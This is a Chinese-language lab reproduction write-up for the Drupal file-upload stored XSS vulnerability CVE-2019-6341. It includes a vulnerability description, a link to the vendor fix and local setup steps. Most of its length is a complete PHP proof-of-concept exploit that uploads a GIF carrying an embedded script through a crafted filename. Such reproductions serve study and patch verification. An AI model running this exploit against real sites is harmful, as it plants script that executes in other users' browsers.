Drupal文件上传导致跨站脚本执行（CVE-2019-6341）
Drupal介绍
Drupal 是一个开源的内容管理框架（CMF），用于构建网站、网络应用和数字体验平台。它基于 PHP 语言开发，具有高度灵活性和可扩展性，被广泛用于企业、政府、教育机构等大型或复杂的网站项目。
漏洞描述
Drupal 7.65之前的7版本、8.6.13之前的8.6版本和8.5.14之前的8.5版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。
解决建议
厂商已发布漏洞修复程序：
https://www.drupal.org/sa-core-2019-004
参考链接：https://avd.aliyun.com/detail?id=AVD-2019-6341
漏洞复现
- 打开本地8080端口，配置Drupal环境，选择SQLite数据库，其他默认配置即可。
- 使用这个链接下的POC：
https://github.com/thezdi/PoC/tree/main/Drupal
php
<?php
/*
usage: php poc.php <target-ip>
Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/
*/
$host = $argv[1];
$port = $argv[2];
$pk = "GET /user/register HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
"Accept-Language: en-US,en;q=0.5\r\n".
"Referer: http://".$host."/user/login\r\n".
"Connection: close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);
$data =
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
" <HEAD>\r\n".
" <SCRIPT>alert(123);</SCRIPT>\r\n".
" </HEAD>\r\n".
" <BODY>\r\n".
" </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";
$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
"Accept: application/json, text/javascript, */*; q=0.01\r\n".
"Accept-Language: en-US,en;q=0.5\r\n".
"X-Requested-With: XMLHttpRequest\r\n".
"Referer: http://" .$host. "/user/register\r\n".
"Content-Length: ". strlen($data). "\r\n".
$data;
echo "uploading file, please wait...\n";
for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}
echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";
?>- 通过blog-poc.php 上传一个带有 xss代码（）的xc0.gif 图片，当其他用户访问该文件的链接时，XSS代码将被执行。
- 上传成功后，访问图片位置即可触发XSS漏洞：
问题：
- 目前浏览器自带过滤 XSS 功能，验证存在时只能用旧版本的浏览器。
- 访问的图片名称为_0的原因是因为 Drupal 的规则机制